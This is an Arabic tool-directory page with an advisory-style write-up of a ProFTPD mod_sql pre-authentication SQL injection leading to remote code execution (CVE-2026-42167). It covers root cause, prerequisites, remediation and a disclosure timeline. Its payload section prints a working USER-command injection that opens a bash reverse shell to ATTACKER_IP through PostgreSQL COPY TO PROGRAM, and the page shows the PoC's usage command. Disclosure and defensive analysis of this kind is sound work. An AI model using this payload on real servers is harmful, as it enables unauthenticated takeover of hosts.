Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42167-PoC — # ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في ProFTPD عبر تجاوز is_escaped_text() في mod_sql (CVE-2026-42167) | Kitploit
أدوات/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

# ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في ProFTPD عبر تجاوز is_escaped_text() في mod_sql (CVE-2026-42167)

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42167 POC

تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في ProFTPD عبر حقن SQL في mod_sql

المؤلف: Van Glenndon Enad

الاكتشاف الأصلي: ZeroPath

تاريخ النشر: 1 مايو 2026

الخطورة: حرجة

درجة CVSS v3.1: 8.1

متجه CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

درجة CVSS v2: 7.6

متجه CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (حقن SQL)، CWE-78 (حقن أوامر نظام التشغيل)


جدول المحتويات

  1. الملخص التنفيذي
  2. البرمجيات المتأثرة
  3. وصف الثغرة
  4. تحليل السبب الجذري
  5. المتطلبات الأساسية
  6. سلسلة الاستغلال
  7. تحليل الحمولة
  8. إثبات المفهوم
  9. الأثر
  10. المعالجة
  11. المراجع
  12. الجدول الزمني للإفصاح

الملخص التنفيذي

CVE-2026-42167 هي ثغرة حرجة لحقن SQL قبل المصادقة في وحدة الامتداد mod_sql الخاصة بـ ProFTPD. يسمح خلل منطقي في دالة is_escaped_text() لمهاجم غير مصادق بتجاوز تهريب أحرف SQL من خلال صياغة أمر USER تستوفي قيمته معيارًا خاطئًا لـ"تم التهريب بالفعل". يتم تمرير SQL المحقون مباشرة إلى قاعدة البيانات الخلفية عبر PQexec()، والتي تدعم الاستعلامات المكدسة.

عندما يكون دور قاعدة بيانات ProFTPD مستخدمًا خارقًا في PostgreSQL — وهو سوء تكوين شائع في النشر الحاوي — يصل الحقن إلى توجيه COPY TO PROGRAM الخاص بـ PostgreSQL، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد على مستوى نظام التشغيل بدون مصادقة كمستخدم النظام postgres. لا حاجة لبيانات اعتماد، ولا وصول مسبق، ولا تفاعل من المستخدم.


البرمجيات المتأثرة

المكوّنالإصدار
ProFTPD≤ 1.3.9
الوحدةmod_sql + mod_sql_postgres
الإصدار المُصلَح1.3.9a (صدر في 27 أبريل 2026)
قاعدة البيانات الخلفيةPostgreSQL (RCE)؛ MySQL / SQLite (تجاوز المصادقة فقط)

ProFTPD هو خادم FTP مفتوح المصدر واسع الانتشار. وفقًا لـ Shodan، يوجد أكثر من 160,000 مثيل ProFTPD متاح للجمهور على الإنترنت. وحدة mod_sql مفعّلة بشكل شائع في لوحات تحكم الاستضافة المشتركة بما في ذلك cPanel وPlesk وDirectAdmin وWebmin وISPConfig.


وصف الثغرة

تدعم وحدة mod_sql في ProFTPD المصادقة وتسجيل النشاط المستندين إلى SQL. يمكن أن تتضمن سلاسل تنسيق السجل متغيرات استبدال مثل %U (اسم المستخدم) و%r (المضيف البعيد) و%m (أمر FTP). يتم توسيع هذه المتغيرات في وقت التشغيل وإدراجها في استعلامات SQL المنفذة ضد قاعدة البيانات الخلفية المكوّنة.

تكوين ضعيف نموذجي:

root@kitploit:~
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

في هذا التكوين، يتم استبدال القيمة المقدمة في أمر FTP USER بـ %U وإدراجها مباشرة في عبارة SQL INSERT. قبل الإدراج، تمر القيمة عبر is_escaped_text() لتحديد ما إذا كانت تحتاج إلى تهريب. تحتوي هذه الدالة على خلل منطقي حرج.


تحليل السبب الجذري

دالة is_escaped_text() المعيبة

تقع في contrib/mod_sql.c، وتطبق الدالة المعيار التالي لتقرر ما إذا كانت السلسلة "تم تهريبها بالفعل":

root@kitploit:~
static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}

عندما ترجع هذه الدالة TRUE، تقوم sql_resolved_append_text() (السطر 777) بإدراج القيمة الخام غير المهربة مباشرة في سلسلة الاستعلام. ثم يتم تنفيذ القيمة بواسطة PQexec() في contrib/mod_sql_postgres.c (السطر 1146)، والتي تدعم الاستعلامات المكدسة (متعددة العبارات).

لماذا يفشل المعيار

كان المعيار على الأرجح يهدف إلى اكتشاف السلاسل المحاطة بالفعل بمحددات سلاسل SQL. ومع ذلك، لا يحاول التحقق من أن المحتوى الداخلي آمن — فقط يتحقق من عدم وجود علامات اقتباس مفردة إضافية. هذا يعني أن أي حمولة:

  • تبدأ بـ '
  • تنتهي بـ '
  • لا تستخدم علامات اقتباس مفردة داخليًا (على سبيل المثال، تستخدم اقتباس الدولار $$ الخاص بـ PostgreSQL بدلاً من ذلك)

...ستجتاز الفحص ويتم حقنها حرفيًا في استعلام SQL.

تدفق الحقن

root@kitploit:~
FTP Client                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ expand %U = '<payload>' │
    │                         │ is_escaped_text() = TRUE│
    │                         │ skip escaping           │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ execute stacked SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell command ──▶ OS

المتطلبات الأساسية

المتطلبملاحظات
تفعيل mod_sql مع تسجيل SQLيجب تسجيل متغير قبل المصادقة مثل %U
قاعدة بيانات PostgreSQL خلفيةمطلوبة لـ COPY TO PROGRAM RCE؛ MySQL/SQLite لا تزال تسمح بتجاوز المصادقة
دور قاعدة البيانات هو مستخدم خارق في PostgreSQLCOPY TO PROGRAM مقيد بالمستخدمين الخارقين أو أعضاء pg_execute_server_program
توفر bash على مضيف قاعدة البياناتمطلوب لتسليم الصدفة العكسية عبر /dev/tcp
إمكانية الوصول عبر الشبكةيجب أن تكون حاوية PostgreSQL قادرة على الوصول إلى المهاجم على منفذ المستمع

غالبًا ما يتم استيفاء شرط المستخدم الخارق في النشر الحاوي حيث يتم إنشاء مستخدم قاعدة بيانات ProFTPD عبر POSTGRES_USER=... في صورة Docker الرسمية لـ PostgreSQL، أو عندما يمنح المسؤول دور ProFTPD ملكية قاعدة البيانات.


سلسلة الاستغلال

root@kitploit:~
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
        │
        ▼
Step 2: ProFTPD expands %U with attacker-controlled value
        │
        ▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
        │
        ▼
Step 4: PQexec() executes stacked query against PostgreSQL
        │
        ▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
        │
        ▼
Step 6: Reverse shell / file exfiltration delivered to attacker

تحليل الحمولة

يتم تسليم حمولة الحقن عبر أمر FTP USER:

root@kitploit:~
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

التحقق من شرط التجاوز

الشرطمستوفى؟السبب
تبدأ بـ '✅الحرف الأول هو '
تنتهي بـ '✅الحرف الأخير هو '
لا توجد علامات اقتباس مفردة داخلية✅السلاسل الداخلية تستخدم اقتباس الدولار $$

تفصيل الحمولة

المقطعالغرض
', null, null);يغلق عبارة INSERT الأصلية بشكل نظيف
COPY (SELECT $$x$$) TO PROGRAMاستعلام مكدس يستخدم COPY TO PROGRAM الخاص بـ PostgreSQL
$$bash -c ...$$أمر شل يستخدم اقتباس الدولار $$ لتجنب علامات الاقتباس المفردة
; --'ينهي الاستعلام المكدس؛ --' يعلّق على الباقي ويوفر علامة الاقتباس المغلقة ' للتجاوز

إثبات المفهوم

تحذير: هذا PoC مقدم لأغراض تعليمية واختبار مصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

الاستخدام النموذجي:

root@kitploit:~
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT

الأثر

الفئةالوصف
السريةوصول قراءة كامل لنظام الملفات كمستخدم نظام التشغيل postgres
السلامةالقدرة على كتابة الملفات، تعديل محتويات قاعدة البيانات، تثبيت أبواب خلفية
التوفرانقطاع الخدمة، تدمير البيانات ممكن
المصادقةقابل للاستغلال بدون أي بيانات اعتماد قبل المصادقة
النطاقيمتد إلى ما بعد ProFTPD إلى مضيف PostgreSQL الأساسي

أي نظام يكون فيه ProFTPD مشاركًا في الموقع مع مثيل PostgreSQL أو لديه وصول مستخدم خارق إليه معرض لخطر اختراق المضيف بالكامل. الحركة الجانبية إلى الأنظمة المجاورة والاستمرارية عبر مهام cron أو حقن مفاتيح SSH قابلة للتحقيق بسهولة بعد الاستغلال.


المعالجة

إجراء فوري

  • قم بترقية ProFTPD إلى الإصدار 1.3.9a أو أحدث — الإصلاح يصحح is_escaped_text() بمعالجة استعلامات معلمة بشكل صحيح

إذا لم يكن الترقية ممكنة فورًا

  • عطّل تسجيل mod_sql بالكامل (أزل توجيهات SQLLog)
  • أزل متغيرات التسجيل قبل المصادقة (%U، %r، %m) من تعريفات SQLNamedQuery

الدفاع في العمق

  • تأكد من أن دور قاعدة بيانات ProFTPD ليس مستخدمًا خارقًا في PostgreSQL (مبدأ الامتياز الأقل)
  • قيّد دور قاعدة البيانات على INSERT فقط في جدول السجل وSELECT في جدول المصادقة
  • ضع ProFTPD وPostgreSQL في قطاعات شبكة منفصلة حيثما أمكن
  • راقب سجلات FTP بحثًا عن أوامر USER تحتوي على علامات اقتباس مفردة أو COPY أو PROGRAM أو كلمات SQL رئيسية

الجدول الزمني للإفصاح

التاريخالحدث
28 مارس 2026الإبلاغ عن الثغرة إلى مطوري ProFTPD
7 أبريل 2026بدء التحقق من التصحيح
24 أبريل 2026تعيين CVE-2026-42167
27 أبريل 2026تنفيذ الإصلاح؛ إصدار ProFTPD 1.3.9a
28 أبريل 2026النشر على NVD
28–29 أبريل 2026نشر مستودعات PoC عامة على GitHub
1 مايو 2026نشر تحليل مستقل وPoC مبسط

المراجع

  • NVD — CVE-2026-42167
  • ZeroPath Research Blog — CVE-2026-42167 Auth Bypass and RCE in ProFTPD
  • ZeroPathAI — Official PoC Repository
  • dinosn — Independent Root Cause Analysis
  • ProFTPD Issue #2052 — SQL injection via mod_sql is_escaped_text
  • CVEFeed.io — CVE-2026-42167

إخلاء مسؤولية قانوني: يُنشر هذا التحليل وإثبات المفهوم بدقة لأغراض تعليمية وبحثية وأمنية دفاعية. لا يدعم المؤلف الوصول غير المصرح به إلى أنظمة الكمبيوتر. احصل دائمًا على إذن كتابي صريح قبل إجراء اختبارات أمنية ضد أي نظام لا تملكه.

تنزيل الأداة